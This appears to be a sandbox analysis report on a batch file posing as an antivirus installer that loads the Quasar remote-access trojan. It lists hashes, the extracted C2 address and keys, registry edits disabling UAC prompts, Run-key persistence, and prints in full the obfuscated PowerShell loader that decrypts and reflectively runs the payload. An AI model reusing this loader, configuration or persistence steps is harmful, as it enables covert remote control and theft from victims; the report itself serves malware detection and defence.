customerloader | 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1

Analysis

max time kernel
298s
max time network
301s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/05/2026, 02:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CoreDefender_Antivirus_Setup.bat
Size 5.1MB
Sample260524-dbr39saz3v
SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
MD5 bff4c953123b3c3567b7682f2d016b7a
SHA1 770e7c811a14206aa0c4e6ce2968686c082fef07
SHA512 1bbe25704b4c5142c02ebd4cf723da7a9c9f7c2de3836489f5cca33e3147e1451199ae2920c438fa2f12d1731aab3661f97aede77eab3dcf43a4fa50cc032c58
SSDEEP 24576:JTixj75VHMisnzPCaUT+r5orGyxWYm6NTs+t+YL4E/HXX3+ylo1b+06MIqUYeTX+:h
TLSH
T1A846AEB871C86ED61F7E066EC99D69D913A93612897B94CCC09B6BCE0C53325EE35C30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

rtkaudioservice defense_evasion downloader customerloader quasar loader persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.6.6

Botnet

RtkAudioService

13.233.224.203:3001

Mutex

5f0fa0a2-b9a3-49be-8ab2-3b125e3c4ec3

Attributes

encryption_key
2FCC00E69AAE4F8C1204EDB127CA14A8751F73F7
install_name
.exe
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Customer Loader
Customer Loader is a downloader written in C#.
downloader loader customerloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5936-29-0x0000028C2DBF0000-0x0000028C2DE8C000-memory.dmp	family_quasar

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	powershell.exe

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5936	powershell.exe
4	5936	powershell.exe
6	5936	powershell.exe
8	5936	powershell.exe
9	5936	powershell.exe
10	5936	powershell.exe
11	5936	powershell.exe
12	5936	powershell.exe
13	5936	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OEZWEmMB.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\OEZWEmMB = "\"C:\\Windows\\system32\\wscript.exe\" //B //nologo \"C:\\Users\\Admin\\AppData\\Roaming\\OEZWEmMB.vbs\""	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5936	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5936	powershell.exe
5936	powershell.exe
564	powershell.exe
564	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5936	powershell.exe
Token: SeDebugPrivilege	564	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 876	4784	cmd.exe	81
PID 876 wrote to memory of 5712	876	cmd.exe	83
PID 876 wrote to memory of 5936	876	cmd.exe	84
PID 3104 wrote to memory of 784	3104	wscript.exe	89
PID 784 wrote to memory of 4868	784	cmd.exe	91
PID 4868 wrote to memory of 2752	4868	cmd.exe	93
PID 4868 wrote to memory of 564	4868	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat" s"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\system32\fltMC.exe
    fltMC
    3⤵
    PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
    3⤵
    - UAC bypass
    - Badlisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:5936

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:1472

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" //B //nologo "C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" h
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" s"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\system32\fltMC.exe
      fltMC
      4⤵
      PID:2752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_wjoz40dd.oqc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wjoz40dd.oqc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

OEZWEmMB.bat

Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat
Size 5.1MB
SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
MD5 bff4c953123b3c3567b7682f2d016b7a
SHA1 770e7c811a14206aa0c4e6ce2968686c082fef07
SHA512 1bbe25704b4c5142c02ebd4cf723da7a9c9f7c2de3836489f5cca33e3147e1451199ae2920c438fa2f12d1731aab3661f97aede77eab3dcf43a4fa50cc032c58
SSDEEP 24576:JTixj75VHMisnzPCaUT+r5orGyxWYm6NTs+t+YL4E/HXX3+ylo1b+06MIqUYeTX+:h
TLSH
T1A846AEB871C86ED61F7E066EC99D69D913A93612897B94CCC09B6BCE0C53325EE35C30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OEZWEmMB.vbs

Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs
Size 102B
SHA256 9b8715e2d63caa4ea512550582d47971f50f181877023fa981c0acaf4453f3f3
MD5 9a9394cf0e1f174bafe4e5177d6d52f7
SHA1 04d02c506112af15315615a2a35c7319be679e76
SHA512 4414b4dce3832a4379da807e17e950e2fd19f147f13c53d129c07393ebc06bc796e568e50b0ff605940fd83b4e65332e2ea3e6fcf570eadf52ca89df0389aec5
TLSH
T17CB01224218CD61D001280D30AB18C1CCD90CEA52B607F098700DC4C6176891D5C2442
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5936-30-0x0000028C0A3E0000-0x0000028C0A3FE000-memory.dmp

Download

memory/5936-33-0x0000028C2EAF0000-0x0000028C2ECB2000-memory.dmp

Download

memory/5936-10-0x0000028C22750000-0x0000028C22760000-memory.dmp

Download

memory/5936-12-0x0000028C0A3B0000-0x0000028C0A3B8000-memory.dmp

Download

memory/5936-13-0x0000028C2D850000-0x0000028C2DA9A000-memory.dmp

Download

memory/5936-9-0x0000028C22750000-0x0000028C22760000-memory.dmp

Download

memory/5936-8-0x0000028C0A4D0000-0x0000028C0A4F2000-memory.dmp

Download

memory/5936-29-0x0000028C2DBF0000-0x0000028C2DE8C000-memory.dmp

Download

memory/5936-0-0x0000028C22750000-0x0000028C22760000-memory.dmp

Download

memory/5936-31-0x0000028C2E460000-0x0000028C2E4B0000-memory.dmp

Download

memory/5936-32-0x0000028C2E860000-0x0000028C2E912000-memory.dmp

Download

memory/5936-11-0x0000028C22750000-0x0000028C22760000-memory.dmp

Download

memory/5936-34-0x0000028C2DED0000-0x0000028C2DF0A000-memory.dmp

Download

memory/5936-37-0x0000028C2E500000-0x0000028C2E526000-memory.dmp

Download

memory/5936-36-0x0000028C2E4B0000-0x0000028C2E4FE000-memory.dmp

Download

memory/5936-35-0x0000028C2E410000-0x0000028C2E45A000-memory.dmp

Download

memory/5936-38-0x0000028C2E530000-0x0000028C2E564000-memory.dmp

Download

memory/5936-40-0x0000028C2E920000-0x0000028C2E96A000-memory.dmp

Download

memory/5936-41-0x0000028C2E5C0000-0x0000028C2E5EA000-memory.dmp

Download

memory/5936-39-0x0000028C2E570000-0x0000028C2E5BC000-memory.dmp

Download

memory/5936-1-0x0000028C22750000-0x0000028C22760000-memory.dmp

Download